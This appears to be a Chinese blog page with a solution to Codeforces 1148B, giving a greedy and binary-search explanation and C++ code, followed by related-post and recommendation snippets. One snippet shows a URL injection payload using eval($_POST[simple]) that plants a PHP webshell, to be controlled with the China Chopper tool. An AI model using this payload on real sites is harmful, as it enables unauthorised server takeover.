【链接】 我是链接,点我呀:)

【题意】

有人要从A地飞向B地,然后从B地飞向C地。
给出A,B地的n、m个航班的出发时间。
已知从A到B的航班都是ta和tb时长到达B、C
只有到达B的时候航班还没起飞才能乘坐(当然也可以等下一班)
问你现在你可以去掉最多K个航班,这个人到达C地最晚的时间是啥时候(那个人会在你删掉之后选择最好的方案)(或者直接输出这个人不能到达C)

【题解】

如果你是那个人肯定知道从A出发的航班肯定越早越好。
最后的K个航班肯定是从A、B两地的航班里删掉的。
所以我们可以这样,枚举删掉了A的多少个航班i(显然是删掉最早的i个航班效果最佳)
然后看看最早的航班是啥时候到B即为a[i+1]+ta
显然我们要找到最小的大于等于a[i+1]+ta的b[idx].
但是不着急 我们可以接着删除k-i个航班,则也是同样的策略
删idx接下来的k-i个即可。从而得到A航班删掉i个的情况下总共删掉k个这个人最早到达C的时间了。
在所有的可能中取最大值就好了。
注意-1的几种情况就好了

【代码】

#include<iostream>
#include<string>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<cstring>
using namespace std; const int N = 2e5; int n,m,ta,tb,k;
int a[N+10],b[N+10]; int main()
{
ios::sync_with_stdio(0),cin.tie(0);
cin >> n >> m >> ta >> tb >> k;
for (int i = 1;i <= n;i++) cin >> a[i];
for (int i = 1;i <= m;i++) cin >> b[i];
if (k>=n){
cout<<-1<<endl;
return 0;
}
int ans = 0;
for (int i = 1;i <= min(k+1,n);i++){
int used1 = i-1;
int idx2 = lower_bound(b+1,b+1+m,a[i]+ta)-b;
if (idx2>m){
cout<<-1<<endl;
return 0;
}
int rest = k-used1;
if (idx2+rest>m){
cout<<-1<<endl;
return 0;
}
idx2 = idx2+rest;
ans = max(ans,b[idx2]+tb);
}
cout<<ans<<endl;
return 0;
}

【Codeforces 1148B】Born This Way的更多相关文章

  1. 【codeforces 415D】Mashmokh and ACM(普通dp)

    [codeforces 415D]Mashmokh and ACM 题意:美丽数列定义:对于数列中的每一个i都满足:arr[i+1]%arr[i]==0 输入n,k(1<=n,k<=200 ...

  2. 【codeforces 707E】Garlands

    [题目链接]:http://codeforces.com/contest/707/problem/E [题意] 给你一个n*m的方阵; 里面有k个联通块; 这k个联通块,每个连通块里面都是灯; 给你q ...

  3. 【codeforces 707C】Pythagorean Triples

    [题目链接]:http://codeforces.com/contest/707/problem/C [题意] 给你一个数字n; 问你这个数字是不是某个三角形的一条边; 如果是让你输出另外两条边的大小 ...

  4. 【codeforces 709D】Recover the String

    [题目链接]:http://codeforces.com/problemset/problem/709/D [题意] 给你一个序列; 给出01子列和10子列和00子列以及11子列的个数; 然后让你输出 ...

  5. 【codeforces 709B】Checkpoints

    [题目链接]:http://codeforces.com/contest/709/problem/B [题意] 让你从起点开始走过n-1个点(至少n-1个) 问你最少走多远; [题解] 肯定不多走啊; ...

  6. 【codeforces 709C】Letters Cyclic Shift

    [题目链接]:http://codeforces.com/contest/709/problem/C [题意] 让你改变一个字符串的子集(连续的一段); ->这一段的每个字符的字母都变成之前的一 ...

  7. 【Codeforces 429D】 Tricky Function

    [题目链接] http://codeforces.com/problemset/problem/429/D [算法] 令Si = A1 + A2 + ... + Ai(A的前缀和) 则g(i,j) = ...

  8. 【Codeforces 670C】 Cinema

    [题目链接] http://codeforces.com/contest/670/problem/C [算法] 离散化 [代码] #include<bits/stdc++.h> using ...

  9. 【codeforces 515D】Drazil and Tiles

    [题目链接]:http://codeforces.com/contest/515/problem/D [题意] 给你一个n*m的格子; 然后让你用1*2的长方形去填格子的空缺; 如果有填满的方案且方案 ...

随机推荐

  1. Spring定时任务的几种实现(转)

    转自:http://gong1208.iteye.com/blog/1773177 近日项目开发中需要执行一些定时任务,比如需要在每天凌晨时候,分析一次前一天的日志信息,借此机会整理了一下定时任务的几 ...

  2. 爱的传送带: print(.format())

    场景:用Python设计一个程序,可以打印一下祝福语: 致某某某:  今年是XXXX年的元旦,   我的祝福送四方,   东方送你摇钱树,   西方送你永安康,   南方送你成功路,   北方送你钱满 ...

  3. windows线程函数必须为全局函数或者静态函数(转)

    调用CreateThread(...)创建线程时要指定所创建线程的入口函数,此入口函数只能是全局函数或者类的静态成员函数. 全局函数很容易理解,但如果是类的成员函数则必须是静态成员函数,为何, 因为类 ...

  4. PHP构建一句话木马

    构建一句话木马,密码为simple: url/search.php?searchtype=5&tid=&area=eval($_POST[simple]) 之后使用菜刀进行链接,密码为 ...

  5. NLP(一) Python常用开发工具

    一.Numpy NumPy系统是Python的一种开源的数值计算包. 包括: 1.一个强大的N维数组对象Array: 2.比较成熟的(广播)函数 库: 3.用于整合C/C++和Fortran代码的工具 ...

  6. Express post请求无法解析参数的原因

    router.post('/', function(req, res) { console.log(req.body); console.log(req.body.name); console.log ...

  7. luoguP1290 欧几里德的游戏 [博弈论]

    题目描述 欧几里德的两个后代Stan和Ollie正在玩一种数字游戏,这个游戏是他们的祖先欧几里德发明的.给定两个正整数M和N,从Stan开始,从其中较大的一个数,减去较小的数的正整数倍,当然,得到的数 ...

  8. APIO2019

    device: 用最小公倍数的知识或是画网格模拟转移,神仙们也可以找规律.然后就变成区间覆盖了. 忘记特殊情况了,大众分→Ag #include<iostream> #include< ...

  9. 吉首大学校赛 I 滑稽树上滑稽果 (Lucas + 莫队)

    链接:https://ac.nowcoder.com/acm/contest/925/I来源:牛客网 题目描述 n个不同的滑稽果中,每个滑稽果可取可不取,从所有方案数中选取一种,求选取的方案中滑稽果个 ...

  10. windows系统使用

    1.访问局域网共享的文件,用 \\ip号 2.电脑的硬件名称(设备管理器中)是可以用软件修改的. 3.电脑中每一个连接网络的设备都有一个网卡地址(MAC地址),如无线网卡地址.有线网卡地址. 4.wi ...